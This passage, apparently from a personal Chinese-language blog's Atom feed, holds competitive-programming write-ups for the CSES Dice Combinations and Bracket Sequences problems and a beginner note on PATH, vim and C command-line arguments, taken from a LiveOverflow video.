style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8304em;vertical-align:-0.136em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>，欲組出總和為<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi></mrow><annotation encoding="application/x-tex">k</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6944em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span></span></span></span>，可以是以下幾種情形：<br>- 前幾次已組出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>−</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">k-1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span>，最後一次擲出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn></mrow><annotation encoding="application/x-tex">1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">1</span></span></span></span><br>- 前幾次已組出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>−</mo><mn>2</mn></mrow><annotation encoding="application/x-tex">k-2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span>，最後一次擲出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>2</mn></mrow><annotation encoding="application/x-tex">2</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">2</span></span></span></span><br>- 前幾次已組出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>−</mo><mn>3</mn></mrow><annotation encoding="application/x-tex">k-3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span>，最後一次擲出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>3</mn></mrow><annotation encoding="application/x-tex">3</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">3</span></span></span></span><br>等等，一直到<br>- 前幾次已組出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>k</mi><mo>−</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">k-6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7778em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.0315em;">k</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>，最後一次擲出<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>6</mn></mrow><annotation encoding="application/x-tex">6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span></p><p>於是</p><p><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML" display="block"><semantics><mrow><mo fence="true">{</mo><mtable rowspacing="0.36em" columnalign="left left" columnspacing="1em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mrow><mi mathvariant="double-struck">d</mi><mi mathvariant="double-struck">p</mi></mrow><mo stretchy="false">[</mo><mi>n</mi><mo stretchy="false">]</mo><mo>=</mo><msup><mn>2</mn><mrow><mi>n</mi><mo>−</mo><mn>1</mn></mrow></msup><mo separator="true">,</mo><mtext> </mtext><mi>n</mi><mo>=</mo><mn>1</mn><mo separator="true">,</mo><mn>2</mn><mo separator="true">,</mo><mo>⋯</mo><mtext> </mtext><mo separator="true">,</mo><mn>6</mn></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="false"><mrow><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">p</mi></mrow><mo stretchy="false">[</mo><mi>n</mi><mo stretchy="false">]</mo><mo>=</mo><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">p</mi></mrow><mo stretchy="false">[</mo><mi>n</mi><mo>−</mo><mn>1</mn><mo stretchy="false">]</mo><mo>+</mo><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">p</mi></mrow><mo stretchy="false">[</mo><mi>n</mi><mo>−</mo><mn>2</mn><mo stretchy="false">]</mo><mo>+</mo><mo>⋯</mo><mo>+</mo><mrow><mi mathvariant="normal">d</mi><mi mathvariant="normal">p</mi></mrow><mo stretchy="false">[</mo><mi>n</mi><mo>−</mo><mn>6</mn><mo stretchy="false">]</mo><mo separator="true">,</mo><mtext> </mtext><mi>n</mi><mo>≥</mo><mn>7</mn></mrow></mstyle></mtd></mtr></mtable></mrow><annotation encoding="application/x-tex">\begin{cases}\mathbb{dp}[n]=2^{n-1}, \space n=1,2,\cdots,6  \\\mathrm{dp}[n]=\mathrm{dp}[n-1]+\mathrm{dp}[n-2]+\cdots+\mathrm{dp}[n-6],\space n\geq 7\end{cases}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:3em;vertical-align:-1.25em;"></span><span class="minner"><span class="mopen delimcenter" style="top:0em;"><span class="delimsizing size4">{</span></span><span class="mord"><span class="mtable"><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.69em;"><span style="top:-3.69em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord"><span class="mord mathnormal">d</span><span class="mord mathnormal">p</span></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">2</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">6</span></span></span><span style="top:-2.25em;"><span class="pstrut" style="height:3.008em;"></span><span class="mord"><span class="mord"><span class="mord mathrm">dp</span></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord"><span class="mord mathrm">dp</span></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">1</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathrm">dp</span></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">2</span><span class="mclose">]</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="minner">⋯</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord"><span class="mord mathrm">dp</span></span><span class="mopen">[</span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mord">6</span><span class="mclose">]</span><span class="mpunct">,</span><span class="mspace"> </span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≥</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mord">7</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.19em;"><span></span></span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span></span></span></span></span></p><p>喔然後記得模<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span></p><h2 id="ac-code" tabindex="-1" id="AC-Code">AC Code</h2><pre class="line-numbers language-cpp" data-language="cpp"><code class="language-cpp"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span><span class="token string">&lt;bits/stdc++.h></span></span><span class="token keyword">using</span> <span class="token keyword">namespace</span> std<span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token keyword">int</span> M <span class="token operator">=</span> <span class="token number">1e9</span><span class="token operator">+</span><span class="token number">7</span><span class="token punctuation">;</span><span class="token keyword">const</span> <span class="token keyword">int</span> N_MAX <span class="token operator">=</span> <span class="token number">1e6</span><span class="token punctuation">;</span><span class="token keyword">long</span> <span class="token keyword">long</span> dp<span class="token punctuation">[</span>N_MAX<span class="token operator">+</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token keyword">int</span> n<span class="token punctuation">;</span>  cin <span class="token operator">>></span> n<span class="token punctuation">;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span><span class="token number">6</span><span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token number">1</span> <span class="token operator">&lt;&lt;</span> <span class="token punctuation">(</span>i<span class="token operator">-</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">7</span><span class="token punctuation">;</span>i<span class="token operator">&lt;=</span>n<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> j<span class="token operator">=</span><span class="token number">1</span><span class="token punctuation">;</span>j<span class="token operator">&lt;=</span><span class="token number">6</span><span class="token punctuation">;</span>j<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>      dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token punctuation">(</span>dp<span class="token punctuation">[</span>i<span class="token punctuation">]</span> <span class="token operator">+</span> dp<span class="token punctuation">[</span>i<span class="token operator">-</span>j<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">%</span> M<span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span>  <span class="token punctuation">&#125;</span>  cout <span class="token operator">&lt;&lt;</span> dp<span class="token punctuation">[</span>n<span class="token punctuation">]</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>這裡用了一個技巧，<code>1 &lt;&lt; (i-1)</code>。其中<code>&lt;&lt;</code>是左移算子，表示在二進位表示中將整個數字往左移<code>i-1</code>格，然後在後面補<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>0</mn></mrow><annotation encoding="application/x-tex">0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">0</span></span></span></span>。<br>比如<code>1 &lt;&lt; 5</code>的結果等於<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mn>100000</mn><mn>2</mn></msub><mo>=</mo><msup><mn>2</mn><mn>5</mn></msup><mo>=</mo><msub><mn>32</mn><mn>10</mn></msub></mrow><annotation encoding="application/x-tex">100000_2=2^5=32_{10}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">10000</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">2</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">5</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7944em;vertical-align:-0.15em;"></span><span class="mord">3</span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3011em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight">10</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>。所以<code>1 &lt;&lt; (i-1)</code>其實就是<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>2</mn><mrow><mi>i</mi><mo>−</mo><mn>1</mn></mrow></msup></mrow><annotation encoding="application/x-tex">2^{i-1}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8247em;"></span><span class="mord"><span class="mord">2</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8247em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">i</span><span class="mbin mtight">−</span><span class="mord mtight">1</span></span></span></span></span></span></span></span></span></span></span></span>的意思。</p>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/03/CSES-Dice-Combinations-%E9%A1%8C%E8%A7%A3/</id>
    <link href="https://r3xdj.pages.dev/2026/06/03/CSES-Dice-Combinations-%E9%A1%8C%E8%A7%A3/"/>
    <published>2026-06-03T05:06:13.000Z</published>
    <summary>
      <![CDATA[<blockquote>
<p><s>DP? 想成高中數學的遞迴就好啦</s></p>
</blockquote>
<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1>
<ul>
<li>Time limit: 1.00 s</li>]]>
    </summary>
    <title>CSES Dice Combinations 題解</title>
    <updated>2026-06-03T05:06:13.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="Cyber" scheme="https://r3xdj.pages.dev/categories/Cyber/"/>
    <category term="C" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="vim" scheme="https://r3xdj.pages.dev/tags/vim/"/>
    <content>
      <![CDATA[<p>看了這部影片 <a href="https://youtu.be/JGoUaCmMNpE?list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN">Writing a simple Program in C - YouTube</a> 做的筆記</p><h1 id="path" tabindex="-1">PATH</h1><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash"><span class="token function">env</span> <span class="token operator">|</span> <span class="token function">grep</span> <span class="token string">"PATH"</span> <span class="token comment"># or</span><span class="token builtin class-name">echo</span> <span class="token environment constant">$PATH</span> <span class="token comment">#this one</span><span class="token comment"># add to PATH(for one time)</span><span class="token builtin class-name">export</span> <span class="token assign-left variable"><span class="token environment constant">PATH</span></span><span class="token operator">=</span><span class="token environment constant">$PATH</span>:directory<span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span></span></code></pre><h1 id="vim-%E5%9F%BA%E7%A4%8E" tabindex="-1">vim 基礎</h1><pre class="line-numbers language-bash" data-language="bash"><code class="language-bash">:syntax on <span class="token comment">#上色</span>:set number <span class="token comment">#標號</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span></span></code></pre><h1 id="c-%E8%AA%9E%E8%A8%80" tabindex="-1">C 語言</h1><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">char</span> <span class="token operator">*</span>argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>    <span class="token keyword">if</span><span class="token punctuation">(</span>argc<span class="token operator">==</span><span class="token number">2</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>        <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"Knock, Knock, %s\n"</span><span class="token punctuation">,</span> argv<span class="token punctuation">[</span><span class="token number">1</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span> <span class="token keyword">else</span> <span class="token punctuation">&#123;</span>        <span class="token function">fprintf</span><span class="token punctuation">(</span><span class="token constant">stderr</span><span class="token punctuation">,</span> <span class="token string">"Usage: %s &lt;name>\n"</span><span class="token punctuation">,</span> argv<span class="token punctuation">[</span><span class="token number">0</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>        <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span>    <span class="token punctuation">&#125;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>解析：</p><ul><li><p>argc: 參數數量(從檔案名稱算起)</p></li><li><p>argv: 參數矩陣(包含檔案名稱)<br>範例：</p><pre class="line-numbers language-c" data-language="c"><code class="language-c"><span class="token macro property"><span class="token directive-hash">#</span><span class="token directive keyword">include</span> <span class="token string">&lt;stdio.h></span></span><span class="token keyword">int</span> <span class="token function">main</span><span class="token punctuation">(</span><span class="token keyword">int</span> argc<span class="token punctuation">,</span> <span class="token keyword">char</span> <span class="token operator">*</span>argv<span class="token punctuation">[</span><span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>  <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"argc: %d\n"</span><span class="token punctuation">,</span>argc<span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"argv:\n"</span><span class="token punctuation">)</span>  <span class="token keyword">for</span><span class="token punctuation">(</span><span class="token keyword">int</span> i<span class="token operator">=</span><span class="token number">0</span><span class="token punctuation">;</span>i<span class="token operator">&lt;</span>argc<span class="token punctuation">;</span>i<span class="token operator">++</span><span class="token punctuation">)</span><span class="token punctuation">&#123;</span>      <span class="token function">printf</span><span class="token punctuation">(</span><span class="token string">"\targv[%d]: %s\n"</span><span class="token punctuation">,</span> i<span class="token punctuation">,</span> argv<span class="token punctuation">[</span>i<span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span>  <span class="token punctuation">&#125;</span>  <span class="token keyword">return</span> <span class="token number">0</span><span class="token punctuation">;</span><span class="token punctuation">&#125;</span><span aria-hidden="true" class="line-numbers-rows"><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span><span></span></span></code></pre><p>輸出：<br><img src="output.png" alt="output"></p></li></ul>]]>
    </content>
    <id>https://r3xdj.pages.dev/2026/06/03/Note-Writing-a-simple-Program-in-C-LiveOverflow/</id>
    <link href="https://r3xdj.pages.dev/2026/06/03/Note-Writing-a-simple-Program-in-C-LiveOverflow/"/>
    <published>2026-06-03T04:09:45.000Z</published>
    <summary>看了LiveOverflow 的 Writing a simple Program in C 這部影片之後做的簡要筆記</summary>
    <title>[Note] Writing a simple Program in C - LiveOverflow</title>
    <updated>2026-06-03T04:09:45.000Z</updated>
  </entry>
  <entry>
    <author>
      <name>R3X DJ</name>
    </author>
    <category term="OI" scheme="https://r3xdj.pages.dev/categories/OI/"/>
    <category term="CSES" scheme="https://r3xdj.pages.dev/categories/OI/CSES/"/>
    <category term="Mathematics" scheme="https://r3xdj.pages.dev/categories/OI/CSES/Mathematics/"/>
    <category term="C++" scheme="https://r3xdj.pages.dev/tags/C/"/>
    <category term="math" scheme="https://r3xdj.pages.dev/tags/math/"/>
    <category term="Catalan number" scheme="https://r3xdj.pages.dev/tags/Catalan-number/"/>
    <category term="number theory" scheme="https://r3xdj.pages.dev/tags/number-theory/"/>
    <category term="modulus" scheme="https://r3xdj.pages.dev/tags/modulus/"/>
    <category term="gcd" scheme="https://r3xdj.pages.dev/tags/gcd/"/>
    <content>
      <![CDATA[<h1 id="%E9%A1%8C%E7%9B%AE" tabindex="-1">題目</h1><ul><li>Time limit: 1.00 s</li><li>Memory limit: 512 MB</li></ul><p>Your task is to calculate the number of valid bracket sequences of length <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>. For example, when <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi><mo>=</mo><mn>6</mn></mrow><annotation encoding="application/x-tex">n=6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">6</span></span></span></span>, there are <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>5</mn></mrow><annotation encoding="application/x-tex">5</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">5</span></span></span></span> sequences:</p><ul><li>()()()</li><li>()(())</li><li>(())()</li><li>((()))</li><li>(()())</li></ul><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>The only input line has an integer <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>n</mi></mrow><annotation encoding="application/x-tex">n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal">n</span></span></span></span>.</td><td>Print the number of sequences modulo <span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mn>10</mn><mn>9</mn></msup><mo>+</mo><mn>7</mn></mrow><annotation encoding="application/x-tex">10^9+7</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8974em;vertical-align:-0.0833em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">9</span></span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6444em;"></span><span class="mord">7</span></span></span></span>.</td></tr></tbody></table><p>Constraints</p><ul><li><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mn>1</mn><mo>≤</mo><mi>n</mi><mo>≤</mo><msup><mn>10</mn><mn>6</mn></msup></mrow><annotation encoding="application/x-tex">1 \le n \le 10^6</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7804em;vertical-align:-0.136em;"></span><span class="mord">1</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7719em;vertical-align:-0.136em;"></span><span class="mord mathnormal">n</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">≤</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8141em;"></span><span class="mord">1</span><span class="mord"><span class="mord">0</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.8141em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight">6</span></span></span></span></span></span></span></span></span></span></span></li></ul><p>Example:</p><table><thead><tr><th>Input</th><th>Output</th></tr></thead><tbody><tr><td>6</td><td>5</td></tr></tbody></table><h1 id="%E8%A7%A3%E6%B3%95" tabindex="-1">解法</h1><p>這題很顯然是在考卡特蘭數</p><h2 id="%E5%8D%A1%E7%89%B9%E8%98%AD%E6%95%B8" tabindex="-1" id="卡特蘭數">卡特蘭數</h2><h3 id="%E5%AE%9A%E7%BE%A9" tabindex="-1" id="定義">定義</h3><p>卡特蘭數<span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msub><mi>C</mi><mi>n</mi></msub></mrow><annotation encoding="application/x-tex">C_n</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.0715em;">C</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span 